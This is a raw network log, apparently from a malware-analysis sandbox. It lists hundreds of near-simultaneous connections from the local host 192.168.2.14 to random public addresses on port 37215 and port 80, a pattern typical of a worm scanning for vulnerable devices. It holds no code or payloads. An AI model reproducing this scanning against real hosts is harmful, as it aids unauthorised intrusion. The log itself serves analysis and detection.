Dec 3, 2024 22:02:01.892345905 CET	40832	37215	192.168.2.14	197.185.196.54
Dec 3, 2024 22:02:01.892343044 CET	40832	37215	192.168.2.14	156.170.168.143
Dec 3, 2024 22:02:01.892335892 CET	40832	37215	192.168.2.14	197.129.164.187
Dec 3, 2024 22:02:01.892345905 CET	40832	37215	192.168.2.14	197.92.26.145
Dec 3, 2024 22:02:01.892335892 CET	40832	37215	192.168.2.14	197.37.57.19
Dec 3, 2024 22:02:01.892345905 CET	40832	37215	192.168.2.14	156.52.110.87
Dec 3, 2024 22:02:01.892338037 CET	40832	37215	192.168.2.14	197.227.121.184
Dec 3, 2024 22:02:01.892343998 CET	40832	37215	192.168.2.14	156.26.187.249
Dec 3, 2024 22:02:01.892338037 CET	40832	37215	192.168.2.14	41.24.10.79
Dec 3, 2024 22:02:01.892345905 CET	40832	37215	192.168.2.14	197.216.74.249
Dec 3, 2024 22:02:01.892332077 CET	40832	37215	192.168.2.14	41.168.140.139
Dec 3, 2024 22:02:01.892342091 CET	40832	37215	192.168.2.14	197.158.194.11
Dec 3, 2024 22:02:01.892333984 CET	40832	37215	192.168.2.14	156.167.221.118
Dec 3, 2024 22:02:01.892335892 CET	40832	37215	192.168.2.14	197.220.3.217
Dec 3, 2024 22:02:01.892333984 CET	40832	37215	192.168.2.14	41.82.158.71
Dec 3, 2024 22:02:01.892343998 CET	40832	37215	192.168.2.14	197.21.12.117
Dec 3, 2024 22:02:01.892333984 CET	40832	37215	192.168.2.14	41.180.192.37
Dec 3, 2024 22:02:01.892335892 CET	40832	37215	192.168.2.14	197.56.10.9
Dec 3, 2024 22:02:01.892343998 CET	40832	37215	192.168.2.14	197.165.83.231
Dec 3, 2024 22:02:01.892333984 CET	40832	37215	192.168.2.14	156.102.55.45
Dec 3, 2024 22:02:01.892342091 CET	40832	37215	192.168.2.14	197.162.136.186
Dec 3, 2024 22:02:01.892335892 CET	40832	37215	192.168.2.14	41.29.198.220
Dec 3, 2024 22:02:01.892338037 CET	40832	37215	192.168.2.14	41.66.67.195
Dec 3, 2024 22:02:01.892333984 CET	40832	37215	192.168.2.14	41.247.130.66
Dec 3, 2024 22:02:01.892338991 CET	40832	37215	192.168.2.14	156.118.47.50
Dec 3, 2024 22:02:01.892333984 CET	40832	37215	192.168.2.14	41.219.140.37
Dec 3, 2024 22:02:01.892338991 CET	40832	37215	192.168.2.14	197.57.88.202
Dec 3, 2024 22:02:01.892335892 CET	40832	37215	192.168.2.14	156.139.221.82
Dec 3, 2024 22:02:01.892342091 CET	40832	37215	192.168.2.14	197.169.172.168
Dec 3, 2024 22:02:01.892333984 CET	40832	37215	192.168.2.14	41.142.171.162
Dec 3, 2024 22:02:01.892343998 CET	40832	37215	192.168.2.14	156.209.163.117
Dec 3, 2024 22:02:01.892342091 CET	40832	37215	192.168.2.14	156.231.82.33
Dec 3, 2024 22:02:01.892343998 CET	40832	37215	192.168.2.14	41.154.30.233
Dec 3, 2024 22:02:01.892338991 CET	40832	37215	192.168.2.14	41.209.27.136
Dec 3, 2024 22:02:01.892343998 CET	40832	37215	192.168.2.14	41.196.227.221
Dec 3, 2024 22:02:01.892343998 CET	40832	37215	192.168.2.14	197.115.61.80
Dec 3, 2024 22:02:01.892343998 CET	40832	37215	192.168.2.14	156.218.158.3
Dec 3, 2024 22:02:01.892370939 CET	40832	37215	192.168.2.14	197.36.252.107
Dec 3, 2024 22:02:01.892370939 CET	40832	37215	192.168.2.14	156.245.64.244
Dec 3, 2024 22:02:01.892370939 CET	40832	37215	192.168.2.14	197.44.79.151
Dec 3, 2024 22:02:01.892370939 CET	40832	37215	192.168.2.14	197.30.215.253
Dec 3, 2024 22:02:01.892370939 CET	40832	37215	192.168.2.14	197.134.205.37
Dec 3, 2024 22:02:01.892370939 CET	40832	37215	192.168.2.14	156.225.25.39
Dec 3, 2024 22:02:01.892370939 CET	40832	37215	192.168.2.14	197.208.11.152
Dec 3, 2024 22:02:01.892370939 CET	40832	37215	192.168.2.14	156.86.55.157
Dec 3, 2024 22:02:01.892379999 CET	40832	37215	192.168.2.14	41.27.0.246
Dec 3, 2024 22:02:01.892380953 CET	40832	37215	192.168.2.14	197.48.183.5
Dec 3, 2024 22:02:01.892380953 CET	40832	37215	192.168.2.14	41.64.161.21
Dec 3, 2024 22:02:01.892380953 CET	40832	37215	192.168.2.14	156.78.222.45
Dec 3, 2024 22:02:01.892380953 CET	40832	37215	192.168.2.14	156.125.105.196
Dec 3, 2024 22:02:01.892380953 CET	40832	37215	192.168.2.14	156.77.199.201
Dec 3, 2024 22:02:01.892380953 CET	40832	37215	192.168.2.14	41.48.198.29
Dec 3, 2024 22:02:01.892380953 CET	40832	37215	192.168.2.14	41.21.120.245
Dec 3, 2024 22:02:01.892380953 CET	40832	37215	192.168.2.14	41.207.222.239
Dec 3, 2024 22:02:01.892383099 CET	40832	37215	192.168.2.14	156.184.41.100
Dec 3, 2024 22:02:01.892384052 CET	40832	37215	192.168.2.14	197.74.191.239
Dec 3, 2024 22:02:01.892383099 CET	40832	37215	192.168.2.14	197.251.154.221
Dec 3, 2024 22:02:01.892380953 CET	40832	37215	192.168.2.14	156.149.32.192
Dec 3, 2024 22:02:01.892383099 CET	40832	37215	192.168.2.14	41.67.121.67
Dec 3, 2024 22:02:01.892386913 CET	40832	37215	192.168.2.14	156.13.50.49
Dec 3, 2024 22:02:01.892385960 CET	40832	37215	192.168.2.14	197.169.112.251
Dec 3, 2024 22:02:01.892386913 CET	40832	37215	192.168.2.14	197.173.76.18
Dec 3, 2024 22:02:01.892383099 CET	40832	37215	192.168.2.14	156.38.167.49
Dec 3, 2024 22:02:01.892386913 CET	40832	37215	192.168.2.14	41.217.11.73
Dec 3, 2024 22:02:01.892385960 CET	40832	37215	192.168.2.14	197.145.128.79
Dec 3, 2024 22:02:01.892386913 CET	40832	37215	192.168.2.14	41.66.4.160
Dec 3, 2024 22:02:01.892385960 CET	40832	37215	192.168.2.14	41.235.172.191
Dec 3, 2024 22:02:01.892386913 CET	40832	37215	192.168.2.14	41.33.129.13
Dec 3, 2024 22:02:01.892380953 CET	40832	37215	192.168.2.14	41.178.127.178
Dec 3, 2024 22:02:01.892386913 CET	40832	37215	192.168.2.14	41.178.60.75
Dec 3, 2024 22:02:01.892380953 CET	40832	37215	192.168.2.14	41.244.240.173
Dec 3, 2024 22:02:01.892386913 CET	40832	37215	192.168.2.14	41.134.144.84
Dec 3, 2024 22:02:01.892380953 CET	40832	37215	192.168.2.14	156.126.13.172
Dec 3, 2024 22:02:01.892380953 CET	40832	37215	192.168.2.14	41.5.90.197
Dec 3, 2024 22:02:01.892404079 CET	40832	37215	192.168.2.14	41.255.156.163
Dec 3, 2024 22:02:01.892405033 CET	40832	37215	192.168.2.14	197.57.230.108
Dec 3, 2024 22:02:01.892411947 CET	40832	37215	192.168.2.14	197.211.203.10
Dec 3, 2024 22:02:01.892411947 CET	40832	37215	192.168.2.14	41.39.205.5
Dec 3, 2024 22:02:01.892411947 CET	40832	37215	192.168.2.14	197.17.106.243
Dec 3, 2024 22:02:01.892411947 CET	40832	37215	192.168.2.14	41.12.214.252
Dec 3, 2024 22:02:01.892412901 CET	40832	37215	192.168.2.14	156.222.64.31
Dec 3, 2024 22:02:01.892424107 CET	40832	37215	192.168.2.14	41.183.224.107
Dec 3, 2024 22:02:01.892430067 CET	40832	37215	192.168.2.14	197.177.123.39
Dec 3, 2024 22:02:01.892431974 CET	40832	37215	192.168.2.14	197.223.246.73
Dec 3, 2024 22:02:01.892431974 CET	40832	37215	192.168.2.14	197.135.189.81
Dec 3, 2024 22:02:01.892438889 CET	40832	37215	192.168.2.14	41.18.88.165
Dec 3, 2024 22:02:01.892445087 CET	40832	37215	192.168.2.14	197.159.56.229
Dec 3, 2024 22:02:01.892451048 CET	40832	37215	192.168.2.14	156.82.11.80
Dec 3, 2024 22:02:01.892451048 CET	40832	37215	192.168.2.14	156.130.179.13
Dec 3, 2024 22:02:01.892452955 CET	40832	37215	192.168.2.14	41.62.2.15
Dec 3, 2024 22:02:01.892457962 CET	40832	37215	192.168.2.14	156.122.113.142
Dec 3, 2024 22:02:01.892457962 CET	40832	37215	192.168.2.14	156.125.55.27
Dec 3, 2024 22:02:01.892457962 CET	40832	37215	192.168.2.14	156.224.154.195
Dec 3, 2024 22:02:01.892468929 CET	40832	37215	192.168.2.14	41.106.46.201
Dec 3, 2024 22:02:01.892481089 CET	40832	37215	192.168.2.14	156.13.49.174
Dec 3, 2024 22:02:01.892481089 CET	40832	37215	192.168.2.14	41.238.180.250
Dec 3, 2024 22:02:01.892482996 CET	40832	37215	192.168.2.14	41.232.108.175
Dec 3, 2024 22:02:01.892482996 CET	40832	37215	192.168.2.14	156.120.237.253
Dec 3, 2024 22:02:01.892492056 CET	40832	37215	192.168.2.14	197.186.174.24
Dec 3, 2024 22:02:01.892504930 CET	40832	37215	192.168.2.14	197.6.159.110
Dec 3, 2024 22:02:01.892504930 CET	40832	37215	192.168.2.14	156.209.15.89
Dec 3, 2024 22:02:01.892508984 CET	40832	37215	192.168.2.14	41.206.140.4
Dec 3, 2024 22:02:01.892513037 CET	40832	37215	192.168.2.14	156.120.74.228
Dec 3, 2024 22:02:01.892518044 CET	40832	37215	192.168.2.14	41.162.90.212
Dec 3, 2024 22:02:01.892524958 CET	40832	37215	192.168.2.14	197.75.130.159
Dec 3, 2024 22:02:01.892528057 CET	40832	37215	192.168.2.14	41.73.241.125
Dec 3, 2024 22:02:01.892528057 CET	40832	37215	192.168.2.14	197.81.175.46
Dec 3, 2024 22:02:01.892540932 CET	40832	37215	192.168.2.14	197.71.78.16
Dec 3, 2024 22:02:01.892548084 CET	40832	37215	192.168.2.14	197.14.82.42
Dec 3, 2024 22:02:01.892548084 CET	40832	37215	192.168.2.14	156.80.147.224
Dec 3, 2024 22:02:01.892551899 CET	40832	37215	192.168.2.14	41.107.8.191
Dec 3, 2024 22:02:01.892566919 CET	40832	37215	192.168.2.14	197.8.197.222
Dec 3, 2024 22:02:01.892569065 CET	40832	37215	192.168.2.14	156.187.107.209
Dec 3, 2024 22:02:01.892569065 CET	40832	37215	192.168.2.14	197.158.151.109
Dec 3, 2024 22:02:01.892575026 CET	40832	37215	192.168.2.14	41.125.71.119
Dec 3, 2024 22:02:01.892584085 CET	40832	37215	192.168.2.14	41.9.229.9
Dec 3, 2024 22:02:01.892587900 CET	40832	37215	192.168.2.14	197.15.31.93
Dec 3, 2024 22:02:01.892589092 CET	40832	37215	192.168.2.14	197.252.84.214
Dec 3, 2024 22:02:01.892596006 CET	40832	37215	192.168.2.14	197.48.233.155
Dec 3, 2024 22:02:01.892597914 CET	40832	37215	192.168.2.14	41.24.139.0
Dec 3, 2024 22:02:01.892600060 CET	40832	37215	192.168.2.14	197.193.207.247
Dec 3, 2024 22:02:01.892607927 CET	40832	37215	192.168.2.14	41.67.63.45
Dec 3, 2024 22:02:01.892607927 CET	40832	37215	192.168.2.14	41.144.51.45
Dec 3, 2024 22:02:01.892617941 CET	40832	37215	192.168.2.14	156.250.208.102
Dec 3, 2024 22:02:01.892620087 CET	40832	37215	192.168.2.14	156.107.172.52
Dec 3, 2024 22:02:01.892621040 CET	40832	37215	192.168.2.14	41.179.33.218
Dec 3, 2024 22:02:01.892621040 CET	40832	37215	192.168.2.14	41.142.149.90
Dec 3, 2024 22:02:01.892631054 CET	40832	37215	192.168.2.14	156.69.215.157
Dec 3, 2024 22:02:01.892635107 CET	40832	37215	192.168.2.14	41.37.196.153
Dec 3, 2024 22:02:01.892642021 CET	40832	37215	192.168.2.14	197.234.77.199
Dec 3, 2024 22:02:01.892647028 CET	40832	37215	192.168.2.14	156.227.56.194
Dec 3, 2024 22:02:01.892647982 CET	40832	37215	192.168.2.14	197.114.149.250
Dec 3, 2024 22:02:01.892657042 CET	40832	37215	192.168.2.14	156.106.141.102
Dec 3, 2024 22:02:01.892662048 CET	40832	37215	192.168.2.14	156.113.53.27
Dec 3, 2024 22:02:01.892666101 CET	40832	37215	192.168.2.14	156.72.71.43
Dec 3, 2024 22:02:01.892673016 CET	40832	37215	192.168.2.14	156.80.243.198
Dec 3, 2024 22:02:01.892676115 CET	40832	37215	192.168.2.14	41.70.80.244
Dec 3, 2024 22:02:01.892676115 CET	40832	37215	192.168.2.14	156.217.102.48
Dec 3, 2024 22:02:01.892688990 CET	40832	37215	192.168.2.14	156.235.131.214
Dec 3, 2024 22:02:01.892692089 CET	40832	37215	192.168.2.14	197.230.202.169
Dec 3, 2024 22:02:01.892693996 CET	40832	37215	192.168.2.14	197.187.148.89
Dec 3, 2024 22:02:01.892693996 CET	40832	37215	192.168.2.14	156.18.53.98
Dec 3, 2024 22:02:01.892709970 CET	40832	37215	192.168.2.14	156.221.104.30
Dec 3, 2024 22:02:01.892709970 CET	40832	37215	192.168.2.14	41.125.76.129
Dec 3, 2024 22:02:01.892713070 CET	40832	37215	192.168.2.14	156.164.180.226
Dec 3, 2024 22:02:01.892716885 CET	40832	37215	192.168.2.14	41.16.246.248
Dec 3, 2024 22:02:01.892716885 CET	40832	37215	192.168.2.14	197.135.236.253
Dec 3, 2024 22:02:01.892716885 CET	40832	37215	192.168.2.14	156.66.104.167
Dec 3, 2024 22:02:01.892723083 CET	40832	37215	192.168.2.14	41.253.184.32
Dec 3, 2024 22:02:01.892735004 CET	40832	37215	192.168.2.14	41.54.23.83
Dec 3, 2024 22:02:01.892738104 CET	40832	37215	192.168.2.14	156.43.138.243
Dec 3, 2024 22:02:01.892744064 CET	40832	37215	192.168.2.14	41.59.95.186
Dec 3, 2024 22:02:01.892749071 CET	40832	37215	192.168.2.14	197.147.170.135
Dec 3, 2024 22:02:01.892750025 CET	40832	37215	192.168.2.14	156.80.239.221
Dec 3, 2024 22:02:01.892760038 CET	40832	37215	192.168.2.14	41.150.130.41
Dec 3, 2024 22:02:01.892760992 CET	40832	37215	192.168.2.14	41.131.77.235
Dec 3, 2024 22:02:01.892769098 CET	40832	37215	192.168.2.14	41.183.103.107
Dec 3, 2024 22:02:01.892771006 CET	40832	37215	192.168.2.14	41.254.68.45
Dec 3, 2024 22:02:01.892771006 CET	40832	37215	192.168.2.14	41.107.100.100
Dec 3, 2024 22:02:01.892777920 CET	40832	37215	192.168.2.14	156.216.178.137
Dec 3, 2024 22:02:01.892781973 CET	40832	37215	192.168.2.14	41.3.13.85
Dec 3, 2024 22:02:01.892788887 CET	40832	37215	192.168.2.14	197.106.53.212
Dec 3, 2024 22:02:01.892791033 CET	40832	37215	192.168.2.14	197.165.38.70
Dec 3, 2024 22:02:01.892793894 CET	40832	37215	192.168.2.14	197.250.106.30
Dec 3, 2024 22:02:01.892800093 CET	40832	37215	192.168.2.14	41.102.98.185
Dec 3, 2024 22:02:01.892807007 CET	40832	37215	192.168.2.14	156.74.146.206
Dec 3, 2024 22:02:01.892807007 CET	40832	37215	192.168.2.14	197.255.239.199
Dec 3, 2024 22:02:01.892818928 CET	40832	37215	192.168.2.14	156.80.74.99
Dec 3, 2024 22:02:01.892821074 CET	40832	37215	192.168.2.14	156.42.30.43
Dec 3, 2024 22:02:01.892827034 CET	40832	37215	192.168.2.14	41.144.54.174
Dec 3, 2024 22:02:01.892827034 CET	40832	37215	192.168.2.14	156.108.61.5
Dec 3, 2024 22:02:01.892832994 CET	40832	37215	192.168.2.14	41.11.69.76
Dec 3, 2024 22:02:01.892839909 CET	40832	37215	192.168.2.14	41.196.245.175
Dec 3, 2024 22:02:01.892842054 CET	40832	37215	192.168.2.14	156.94.0.199
Dec 3, 2024 22:02:01.892848969 CET	40832	37215	192.168.2.14	41.18.78.146
Dec 3, 2024 22:02:01.892853975 CET	40832	37215	192.168.2.14	41.101.8.12
Dec 3, 2024 22:02:01.892853975 CET	40832	37215	192.168.2.14	156.44.224.158
Dec 3, 2024 22:02:01.892863989 CET	40832	37215	192.168.2.14	197.211.254.127
Dec 3, 2024 22:02:01.892867088 CET	40832	37215	192.168.2.14	197.216.131.10
Dec 3, 2024 22:02:01.892874002 CET	40832	37215	192.168.2.14	156.54.79.79
Dec 3, 2024 22:02:01.892874002 CET	40832	37215	192.168.2.14	41.115.144.168
Dec 3, 2024 22:02:01.892883062 CET	40832	37215	192.168.2.14	197.75.227.110
Dec 3, 2024 22:02:01.892883062 CET	40832	37215	192.168.2.14	156.242.254.214
Dec 3, 2024 22:02:01.892904043 CET	40832	37215	192.168.2.14	197.88.171.148
Dec 3, 2024 22:02:01.892904043 CET	40832	37215	192.168.2.14	41.46.210.178
Dec 3, 2024 22:02:01.892904043 CET	40832	37215	192.168.2.14	156.232.146.220
Dec 3, 2024 22:02:01.892908096 CET	40832	37215	192.168.2.14	197.84.158.139
Dec 3, 2024 22:02:01.892908096 CET	40832	37215	192.168.2.14	197.103.206.128
Dec 3, 2024 22:02:01.892909050 CET	40832	37215	192.168.2.14	41.158.68.103
Dec 3, 2024 22:02:01.892911911 CET	40832	37215	192.168.2.14	197.124.168.82
Dec 3, 2024 22:02:01.892913103 CET	40832	37215	192.168.2.14	156.187.72.202
Dec 3, 2024 22:02:01.892915010 CET	40832	37215	192.168.2.14	156.202.104.234
Dec 3, 2024 22:02:01.892923117 CET	40832	37215	192.168.2.14	41.164.43.50
Dec 3, 2024 22:02:01.892923117 CET	40832	37215	192.168.2.14	197.48.122.99
Dec 3, 2024 22:02:01.892930984 CET	40832	37215	192.168.2.14	41.59.43.186
Dec 3, 2024 22:02:01.892932892 CET	40832	37215	192.168.2.14	41.172.173.175
Dec 3, 2024 22:02:01.892935038 CET	40832	37215	192.168.2.14	156.21.91.7
Dec 3, 2024 22:02:01.892935991 CET	40832	37215	192.168.2.14	197.183.43.250
Dec 3, 2024 22:02:01.892940998 CET	40832	37215	192.168.2.14	197.91.54.87
Dec 3, 2024 22:02:01.892949104 CET	40832	37215	192.168.2.14	41.247.200.192
Dec 3, 2024 22:02:01.892957926 CET	40832	37215	192.168.2.14	41.129.239.207
Dec 3, 2024 22:02:01.892957926 CET	40832	37215	192.168.2.14	197.54.212.105
Dec 3, 2024 22:02:01.892970085 CET	40832	37215	192.168.2.14	197.157.208.12
Dec 3, 2024 22:02:01.892971992 CET	40832	37215	192.168.2.14	156.190.249.56
Dec 3, 2024 22:02:01.892976999 CET	40832	37215	192.168.2.14	197.239.185.126
Dec 3, 2024 22:02:01.892990112 CET	40832	37215	192.168.2.14	41.106.142.164
Dec 3, 2024 22:02:01.892993927 CET	40832	37215	192.168.2.14	41.200.244.190
Dec 3, 2024 22:02:01.893004894 CET	40832	37215	192.168.2.14	156.123.41.158
Dec 3, 2024 22:02:01.894735098 CET	39296	80	192.168.2.14	200.124.108.41
Dec 3, 2024 22:02:01.894745111 CET	39296	80	192.168.2.14	102.36.102.249
Dec 3, 2024 22:02:01.894757032 CET	39296	80	192.168.2.14	181.109.122.141
Dec 3, 2024 22:02:01.894768953 CET	39296	80	192.168.2.14	91.97.32.12
Dec 3, 2024 22:02:01.894768953 CET	39296	80	192.168.2.14	64.49.172.84
Dec 3, 2024 22:02:01.894783974 CET	39296	80	192.168.2.14	14.43.41.183
Dec 3, 2024 22:02:01.894785881 CET	39296	80	192.168.2.14	43.76.233.167
Dec 3, 2024 22:02:01.894800901 CET	39296	80	192.168.2.14	97.126.24.148
Dec 3, 2024 22:02:01.894805908 CET	39296	80	192.168.2.14	129.233.159.57
Dec 3, 2024 22:02:01.894813061 CET	39296	80	192.168.2.14	82.21.163.248
Dec 3, 2024 22:02:01.894829988 CET	39296	80	192.168.2.14	19.86.249.40
Dec 3, 2024 22:02:01.894838095 CET	39296	80	192.168.2.14	180.81.134.113
Dec 3, 2024 22:02:01.894848108 CET	39296	80	192.168.2.14	174.236.130.237
Dec 3, 2024 22:02:01.894849062 CET	39296	80	192.168.2.14	94.141.62.127
Dec 3, 2024 22:02:01.894854069 CET	39296	80	192.168.2.14	202.241.173.62
Dec 3, 2024 22:02:01.894864082 CET	39296	80	192.168.2.14	51.37.137.128
Dec 3, 2024 22:02:01.894879103 CET	39296	80	192.168.2.14	69.245.106.132
Dec 3, 2024 22:02:01.894881964 CET	39296	80	192.168.2.14	73.36.197.149
Dec 3, 2024 22:02:01.894896984 CET	39296	80	192.168.2.14	149.74.180.80
Dec 3, 2024 22:02:01.894897938 CET	39296	80	192.168.2.14	43.83.201.104
Dec 3, 2024 22:02:01.894906044 CET	39296	80	192.168.2.14	41.95.92.73
Dec 3, 2024 22:02:01.894913912 CET	39296	80	192.168.2.14	194.115.166.216
Dec 3, 2024 22:02:01.894932032 CET	39296	80	192.168.2.14	194.132.209.51
Dec 3, 2024 22:02:01.894932985 CET	39296	80	192.168.2.14	74.74.48.131
Dec 3, 2024 22:02:01.894938946 CET	39296	80	192.168.2.14	212.200.233.93
Dec 3, 2024 22:02:01.894956112 CET	39296	80	192.168.2.14	74.220.178.208
Dec 3, 2024 22:02:01.894963026 CET	39296	80	192.168.2.14	4.45.36.202
Dec 3, 2024 22:02:01.894972086 CET	39296	80	192.168.2.14	154.78.147.63
Dec 3, 2024 22:02:01.894982100 CET	39296	80	192.168.2.14	217.30.254.44
Dec 3, 2024 22:02:01.894987106 CET	39296	80	192.168.2.14	34.58.219.69
Dec 3, 2024 22:02:01.894992113 CET	39296	80	192.168.2.14	14.137.228.248
Dec 3, 2024 22:02:01.894999027 CET	39296	80	192.168.2.14	125.179.143.113
Dec 3, 2024 22:02:01.895011902 CET	39296	80	192.168.2.14	186.218.46.14
Dec 3, 2024 22:02:01.895016909 CET	39296	80	192.168.2.14	198.47.5.243
Dec 3, 2024 22:02:01.895025015 CET	39296	80	192.168.2.14	193.30.167.185
Dec 3, 2024 22:02:01.895032883 CET	39296	80	192.168.2.14	74.2.186.4
Dec 3, 2024 22:02:01.895040989 CET	39296	80	192.168.2.14	134.55.85.213
Dec 3, 2024 22:02:01.895066977 CET	39296	80	192.168.2.14	44.232.22.243
Dec 3, 2024 22:02:01.895071983 CET	39296	80	192.168.2.14	64.75.22.88
Dec 3, 2024 22:02:01.895088911 CET	39296	80	192.168.2.14	27.53.30.82
Dec 3, 2024 22:02:01.895088911 CET	39296	80	192.168.2.14	107.234.210.125
Dec 3, 2024 22:02:01.895098925 CET	39296	80	192.168.2.14	77.244.182.193
Dec 3, 2024 22:02:01.895104885 CET	39296	80	192.168.2.14	71.18.222.82
Dec 3, 2024 22:02:01.895116091 CET	39296	80	192.168.2.14	90.242.127.91
Dec 3, 2024 22:02:01.895116091 CET	39296	80	192.168.2.14	64.237.234.138
Dec 3, 2024 22:02:01.895132065 CET	39296	80	192.168.2.14	202.19.172.91
Dec 3, 2024 22:02:01.895139933 CET	39296	80	192.168.2.14	57.163.90.177
Dec 3, 2024 22:02:01.895148993 CET	39296	80	192.168.2.14	58.174.155.31
Dec 3, 2024 22:02:01.895159960 CET	39296	80	192.168.2.14	86.240.241.41
Dec 3, 2024 22:02:01.895159960 CET	39296	80	192.168.2.14	191.234.32.89
Dec 3, 2024 22:02:01.895170927 CET	39296	80	192.168.2.14	66.188.85.4
Dec 3, 2024 22:02:01.895186901 CET	39296	80	192.168.2.14	223.25.194.130
Dec 3, 2024 22:02:01.895186901 CET	39296	80	192.168.2.14	81.245.34.141
Dec 3, 2024 22:02:01.895199060 CET	39296	80	192.168.2.14	119.209.237.136
Dec 3, 2024 22:02:01.895210028 CET	39296	80	192.168.2.14	67.232.217.180
Dec 3, 2024 22:02:01.895217896 CET	39296	80	192.168.2.14	62.206.36.185
Dec 3, 2024 22:02:01.895225048 CET	39296	80	192.168.2.14	60.123.81.209
Dec 3, 2024 22:02:01.895226955 CET	39296	80	192.168.2.14	115.218.104.95
Dec 3, 2024 22:02:01.895236015 CET	39296	80	192.168.2.14	216.187.14.149
Dec 3, 2024 22:02:01.895253897 CET	39296	80	192.168.2.14	173.81.239.237
Dec 3, 2024 22:02:01.895253897 CET	39296	80	192.168.2.14	211.102.187.33
Dec 3, 2024 22:02:01.895257950 CET	39296	80	192.168.2.14	96.205.42.47
Dec 3, 2024 22:02:01.895266056 CET	39296	80	192.168.2.14	38.81.227.74
Dec 3, 2024 22:02:01.895283937 CET	39296	80	192.168.2.14	137.61.80.54
Dec 3, 2024 22:02:01.895284891 CET	39296	80	192.168.2.14	128.100.51.188
Dec 3, 2024 22:02:01.895302057 CET	39296	80	192.168.2.14	133.53.221.70
Dec 3, 2024 22:02:01.895302057 CET	39296	80	192.168.2.14	71.66.96.211
Dec 3, 2024 22:02:01.895308971 CET	39296	80	192.168.2.14	213.147.143.216
Dec 3, 2024 22:02:01.895320892 CET	39296	80	192.168.2.14	195.54.186.132
Dec 3, 2024 22:02:01.895332098 CET	39296	80	192.168.2.14	100.186.253.107
Dec 3, 2024 22:02:01.895339012 CET	39296	80	192.168.2.14	131.116.229.53
Dec 3, 2024 22:02:01.895349979 CET	39296	80	192.168.2.14	195.166.40.50
Dec 3, 2024 22:02:01.895354033 CET	39296	80	192.168.2.14	54.223.195.22
Dec 3, 2024 22:02:01.895359993 CET	39296	80	192.168.2.14	8.160.187.213
Dec 3, 2024 22:02:01.895374060 CET	39296	80	192.168.2.14	197.73.100.50
Dec 3, 2024 22:02:01.895379066 CET	39296	80	192.168.2.14	38.11.150.8
Dec 3, 2024 22:02:01.895386934 CET	39296	80	192.168.2.14	191.114.174.146
Dec 3, 2024 22:02:01.895400047 CET	39296	80	192.168.2.14	57.32.80.0
Dec 3, 2024 22:02:01.895410061 CET	39296	80	192.168.2.14	91.42.119.194
Dec 3, 2024 22:02:01.895416021 CET	39296	80	192.168.2.14	190.126.31.197
Dec 3, 2024 22:02:01.895421982 CET	39296	80	192.168.2.14	168.178.91.241
Dec 3, 2024 22:02:01.895430088 CET	39296	80	192.168.2.14	64.30.5.245
Dec 3, 2024 22:02:01.895435095 CET	39296	80	192.168.2.14	34.24.104.56
Dec 3, 2024 22:02:01.895447969 CET	39296	80	192.168.2.14	31.77.43.216
Dec 3, 2024 22:02:01.895454884 CET	39296	80	192.168.2.14	32.108.249.82
Dec 3, 2024 22:02:01.895462990 CET	39296	80	192.168.2.14	65.252.255.160
Dec 3, 2024 22:02:01.895481110 CET	39296	80	192.168.2.14	13.102.16.235
Dec 3, 2024 22:02:01.895481110 CET	39296	80	192.168.2.14	174.120.0.32
Dec 3, 2024 22:02:01.895490885 CET	39296	80	192.168.2.14	87.232.135.61
Dec 3, 2024 22:02:01.895494938 CET	39296	80	192.168.2.14	129.192.243.104
Dec 3, 2024 22:02:01.895504951 CET	39296	80	192.168.2.14	5.231.128.86
Dec 3, 2024 22:02:01.895519972 CET	39296	80	192.168.2.14	100.47.122.106
Dec 3, 2024 22:02:01.895524025 CET	39296	80	192.168.2.14	125.74.145.127
Dec 3, 2024 22:02:01.895525932 CET	39296	80	192.168.2.14	190.170.247.149
Dec 3, 2024 22:02:01.895543098 CET	39296	80	192.168.2.14	143.98.129.143
Dec 3, 2024 22:02:01.895553112 CET	39296	80	192.168.2.14	186.227.8.170
Dec 3, 2024 22:02:01.895558119 CET	39296	80	192.168.2.14	12.155.211.213
Dec 3, 2024 22:02:01.895560980 CET	39296	80	192.168.2.14	206.107.158.193
Dec 3, 2024 22:02:01.895570040 CET	39296	80	192.168.2.14	13.103.247.121
Dec 3, 2024 22:02:01.895574093 CET	39296	80	192.168.2.14	84.149.39.85
Dec 3, 2024 22:02:01.895586014 CET	39296	80	192.168.2.14	223.141.140.11
Dec 3, 2024 22:02:01.895587921 CET	39296	80	192.168.2.14	88.17.8.176
Dec 3, 2024 22:02:01.895601988 CET	39296	80	192.168.2.14	216.46.210.80
Dec 3, 2024 22:02:01.895602942 CET	39296	80	192.168.2.14	95.132.96.28
Dec 3, 2024 22:02:01.895611048 CET	39296	80	192.168.2.14	77.79.146.83
Dec 3, 2024 22:02:01.895623922 CET	39296	80	192.168.2.14	171.188.151.248
Dec 3, 2024 22:02:01.895623922 CET	39296	80	192.168.2.14	74.65.184.19
Dec 3, 2024 22:02:01.895641088 CET	39296	80	192.168.2.14	109.19.92.156
Dec 3, 2024 22:02:01.895654917 CET	39296	80	192.168.2.14	200.200.150.11
Dec 3, 2024 22:02:01.895654917 CET	39296	80	192.168.2.14	148.25.51.242
Dec 3, 2024 22:02:01.895673037 CET	39296	80	192.168.2.14	185.107.113.151
Dec 3, 2024 22:02:01.895675898 CET	39296	80	192.168.2.14	149.37.189.245
Dec 3, 2024 22:02:01.895682096 CET	39296	80	192.168.2.14	88.61.94.84
Dec 3, 2024 22:02:01.895689011 CET	39296	80	192.168.2.14	203.108.114.148
Dec 3, 2024 22:02:01.895701885 CET	39296	80	192.168.2.14	17.139.123.120
Dec 3, 2024 22:02:01.895704985 CET	39296	80	192.168.2.14	182.47.63.109
Dec 3, 2024 22:02:01.895716906 CET	39296	80	192.168.2.14	83.81.52.208
Dec 3, 2024 22:02:01.895723104 CET	39296	80	192.168.2.14	116.152.25.125
Dec 3, 2024 22:02:01.895729065 CET	39296	80	192.168.2.14	50.0.254.104
Dec 3, 2024 22:02:01.895761013 CET	39296	80	192.168.2.14	105.195.142.60
Dec 3, 2024 22:02:01.895771980 CET	39296	80	192.168.2.14	44.47.111.255
Dec 3, 2024 22:02:01.895776033 CET	39296	80	192.168.2.14	60.179.2.199
Dec 3, 2024 22:02:01.895781994 CET	39296	80	192.168.2.14	73.50.124.196
Dec 3, 2024 22:02:01.895783901 CET	39296	80	192.168.2.14	34.1.83.118
Dec 3, 2024 22:02:01.895793915 CET	39296	80	192.168.2.14	32.136.211.234
Dec 3, 2024 22:02:01.895809889 CET	39296	80	192.168.2.14	135.161.124.238
Dec 3, 2024 22:02:01.895812035 CET	39296	80	192.168.2.14	189.8.160.151
Dec 3, 2024 22:02:01.895826101 CET	39296	80	192.168.2.14	119.246.1.219
